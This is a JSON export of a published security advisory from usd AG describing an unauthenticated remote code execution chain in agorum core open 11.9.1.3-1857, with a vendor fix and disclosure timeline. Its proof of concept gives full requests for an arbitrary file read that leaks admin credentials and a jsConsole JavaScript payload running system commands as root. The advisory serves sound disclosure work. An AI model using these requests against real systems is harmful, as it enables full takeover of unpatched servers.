{"id":24286,"date":"2025-06-27T16:09:06","date_gmt":"2025-06-27T14:09:06","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2025-0030\/"},"modified":"2025-07-01T10:31:34","modified_gmt":"2025-07-01T08:31:34","slug":"usd-2025-0030","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0030\/","title":{"rendered":"usd-2025-0030"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n

usd-2025-0030 | Agorum core open 11.9.1.3-1857 - Unauthenticated Remote Code Execution Chain<\/h1>\n

<\/h1>\n

Product<\/strong>: Agorum core open
Affected Version<\/strong>: 11.9.1.3-1857
Vulnerability Type<\/strong>: Unauthenticated Remote Code Execution Chain
Security Risk<\/strong>: Critical
Vendor<\/strong>: Agorum
Vendor URL<\/strong>: https:\/\/www.agorum.com\/<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
CVE Number<\/strong>: Not requested
CVE Link<\/strong>: Not requested
Advisory ID<\/strong>: usd-2025-0030<\/p>\n

Description<\/h3>\n

Agorum core is an open-source Enterprise Content Management (ECM) system developed by agorum Software GmbH in Germany. It offers a modular, highly customizable platform for document management, workflow automation, and digital collaboration.<\/p>\n

Our researchers discovered multiple vulnerabilities in agorum core that, when chained together, allow an unauthenticated attacker to achieve full remote code execution with root privileges. This critical flaw enables complete system compromise without prior authentication.<\/p>\n

Proof of Concept<\/h3>\n

The exploit chain consists of three distinct vulnerabilities. The initial entry point, identified as usd-2025-0022<\/strong><\/a>, allows unauthenticated attackers to read arbitrary files. By exploiting this flaw, an attacker can retrieve the application's configuration file identified in usd-2025-0023<\/strong><\/a> which contains plaintext credentials for the mainadmin account. This can be achieved using the following request:<\/p>\n

Request:<\/strong><\/p>\n

\n
<\/span>GET<\/span> \/dynawebservices\/wsfiling\/?action=getTemp&tmpFile=\/opt\/agorum\/agorumcore\/doc\/agorum-core-datasheet.txt<\/span> HTTP<\/span>\/<\/span>1.1
<\/span>Host<\/span>:<\/span> localhost
<\/span>[...]<\/span><\/pre>\n<\/div>\n
Response:<\/strong><\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK
<\/span>X-Powered-By<\/span>:<\/span> agorum core
<\/span>Content-Length<\/span>:<\/span> 1673
<\/span>Date<\/span>:<\/span> Mon, 05 May 2025 05:45:32 GMT
<\/span>Server<\/span>:<\/span> Apache-Coyote\/1.1<\/span><\/pre>\n
 <\/p>\n
Datasheet agorum core:[...]
Access\/Protocols:  Web-Portal (secure):
             [https:\/\/172.17.0.1:443]()
  Web-Portal (unsecure):
           [http:\/\/172.17.0.1:81]()
  Networkdrive (DMS Filearea):
     \\\\\\\\172.17.0.1\\\\dms
  Networkdrive (My area):
          \\\\\\\\172.17.0.1\\\\private
  FTP Access:
                      172.17.0.1:21
  IMAP-Interface:
                  172.17.0.1:143
  SMTP-Interface:
                  172.17.0.1:2501
  Mail-Domain:
                     agorumcore.com
  SMTP-Server:
                     localhost:25
  SMTP-User:
  SMTP-Password:
Access data agorum core:
  Username (Mainadmin):
            roi
  Password (Mainadmin: roi):
       Changeme123456
  Username (Demo):
                 demo
  Password  (Demo):
                demoAccess
 database (mysql):
  database-Username:
               root
  database-Password:
               Changeme123456
  database-Host:
                   localhost
  database-Port:
                   3306
[...]<\/p>\n<\/div>\n
At this stage, the attacker has successfully escalated privileges to the mainadmin level. As identified in usd-2025-0021<\/strong><\/a>, users with mainadmin privileges have the ability to execute arbitrary system commands. Since the application runs with root privileges by default, this leads to full system compromise.<\/p>\n
Arbitrary command execution can be performed using the jsConsole function via the following request:<\/p>\n
\n
<\/span>POST<\/span> \/api\/rest\/parse\/jsConsole<\/span> HTTP<\/span>\/<\/span>1.1
<\/span>Host<\/span>:<\/span> localhost
<\/span>Cookie<\/span>:<\/span> JSESSIONID=[REDACTED];
<\/span>[...]
<\/span>js=var%20runCommand%20%3D%20function(cmd)%20%7B%0A%20%20%20%20var%20runtime%20%3D%20java.lang.Runtime.getRuntime()%3B%0A%20%20%20%20var%20process%20%3D%20runtime.exec(cmd)%3B%0A%0A%20%20%20%20var%20reader%20%3D%20new%20java.io.BufferedReader(%0A%20%20%20%20%20%20%20%20new%20java.io.InputStreamReader(process.getInputStream())%0A%20%20%20%20)%3B%0A%0A%20%20%20%20var%20line%3B%0A%20%20%20%20var%20output%20%3D%20%22%22%3B%0A%20%20%20%20while%20((line%20%3D%20reader.readLine())%20!%3D%20null)%20%7B%0A%20%20%20%20%20%20%20%20output%20%2B%3D%20line%20%2B%20%22%5Cn%22%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20reader.close()%3B%0A%20%20%20%20process.waitFor()%3B%0A%20%20%20%20return%20output%3B%0A%7D%3B%0ArunCommand(%22whoami%22)%3B%0A<\/pre>\n<\/div>\n
The payload for the js<\/strong> parameter to execute the whoami<\/strong> command is as follows:<\/p>\n
\n
<\/span>var<\/span> <\/span>runCommand<\/span> <\/span>=<\/span> <\/span>function<\/span>(<\/span>cmd<\/span>)
<\/span> <\/span>{<\/span>    <\/span>var<\/span> <\/span>runtime<\/span> <\/span>=<\/span> <\/span>java<\/span>.<\/span>lang<\/span>.<\/span>Runtime<\/span>.<\/span>getRuntime<\/span>();
<\/span>    <\/span>var<\/span> <\/span>process<\/span> <\/span>=<\/span> <\/span>runtime<\/span>.<\/span>exec<\/span>(<\/span>cmd<\/span>);
<\/span>    <\/span>var<\/span> <\/span>reader<\/span> <\/span>=<\/span> <\/span>new<\/span> <\/span>java<\/span>.<\/span>io<\/span>.<\/span>BufferedReader<\/span>(
<\/span>        <\/span>new<\/span> <\/span>java<\/span>.<\/span>io<\/span>.<\/span>InputStreamReader<\/span>(<\/span>process<\/span>.<\/span>getInputStream<\/span>())
<\/span>    <\/span>);
<\/span>    <\/span>var<\/span> <\/span>line<\/span>;
<\/span>    <\/span>var<\/span> <\/span>output<\/span> <\/span>=<\/span> <\/span>\"\"<\/span>;
<\/span>    <\/span>while<\/span> <\/span>((<\/span>line<\/span> <\/span>=<\/span> <\/span>reader<\/span>.<\/span>readLine<\/span>())<\/span> <\/span>!=<\/span> <\/span>null<\/span>)<\/span> <\/span>{
<\/span>        <\/span>output<\/span> <\/span>+=<\/span> <\/span>line<\/span> <\/span>+<\/span> <\/span>\"\\\\n\"<\/span>;
<\/span>    <\/span>}
<\/span>    <\/span>reader<\/span>.<\/span>close<\/span>();
<\/span>    <\/span>process<\/span>.<\/span>waitFor<\/span>();
<\/span>    <\/span>return<\/span> <\/span>output<\/span>;
<\/span>};
<\/span>runCommand<\/span>(<\/span>\"whoami\"<\/span>);<\/span><\/pre>\n<\/div>\n
The server response will include the output of the executed command:<\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK
<\/span>X-Powered-By<\/span>:<\/span> agorum core
<\/span>Access-Control-Allow-Credentials<\/span>:<\/span> true
<\/span>Access-Control-Allow-Origin<\/span>:<\/span> [https:\/\/localhost]()
<\/span>Date<\/span>:<\/span> Mon, 05 May 2025 05:55:46 GMT
<\/span>Content-Type<\/span>:<\/span> application\/json;charset=UTF-8
<\/span>Server<\/span>:<\/span> Apache-Coyote\/1.1
<\/span>Content-Length<\/span>:<\/span> 145<\/span><\/pre>\n
 <\/p>\n
{
<\/span>    <\/span>\"success\"<\/span>:<\/span>true<\/span>,
<\/span>    <\/span>\"errorClass\"<\/span>:<\/span>0<\/span>,
<\/span>    <\/span>\"errorCode\"<\/span>:<\/span>0<\/span>,<\/span>\"errorKey\"<\/span>:<\/span>0<\/span>,
<\/span>    <\/span>\"message\"<\/span>:<\/span>\"\"<\/span>,
<\/span>    <\/span>\"result\"<\/span>:<\/span>\"root\\\\n\"<\/span>,
<\/span>    <\/span>\"errorStack\"<\/span>:<\/span>null<\/span>,
<\/span>    <\/span>\"errorMessage\"<\/span>:<\/span>null<\/span>,
<\/span>    <\/span>\"executionTime\"<\/span>:<\/span>8
<\/span>}<\/span><\/p>\n<\/div>\n
Fix<\/h3>\n

To mitigate this vulnerability chain, we recommend implementing strict authentication and access controls for all sensitive endpoints, especially those exposing file access or administrative functions. Input validation should be enforced to prevent injection attacks, and administrative features like command execution should be disabled by default or restricted to non-root contexts. Additionally, sensitive data such as configuration files and credentials should never be stored in plaintext.<\/p>\n
 <\/p>\n
Users of agorum core open can upgrade to 11.9.2 or 11.10.1.<\/p>\n
References<\/h3>\n
<\/p>\n
Timeline<\/h3>\n
    \n
  • 2025-05-05<\/strong>: First contact request via mail.<\/li>\n
  • 2025-05-05<\/strong>: The vendor has confirmed the delivery and has begun investigating the matter.<\/li>\n
  • 2025-05-07<\/strong>: The vendor has begun addressing and fixing the issue.<\/li>\n
  • 2025-05-15<\/strong>: The vendor has addressed and fixed the vulnerability within the cloud instances.<\/li>\n
  • 2025-05-30<\/strong>: The vendor released fixed versions 11.9.2 and 11.10.1.<\/li>\n
  • 2025-06-27<\/strong>: This advisory is published.<\/li>\n<\/ul>\n
    Credits<\/h3>\n
    This security vulnerability was identified by Jakob Steeg, Roman Hergenreder, Florian Kimmes, Kai Glauber, DR and Ole Wagner of usd AG.<\/p>\n
    [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
    usd-2025-0030 | Agorum core open 11.9.1.3-1857 - Unauthenticated Remote Code Execution Chain Product: Agorum core openAffected Version: 11.9.1.3-1857Vulnerability Type: Unauthenticated Remote Code Execution ChainSecurity Risk: CriticalVendor: AgorumVendor URL: https:\/\/www.agorum.com\/Vendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: Not requestedCVE Link: Not requestedAdvisory ID: usd-2025-0030 Description Agorum core is an open-source Enterprise Content Management (ECM) system developed by […]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-24286","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=24286"}],"version-history":[{"count":3,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24286\/revisions"}],"predecessor-version":[{"id":24289,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24286\/revisions\/24289"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=24286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}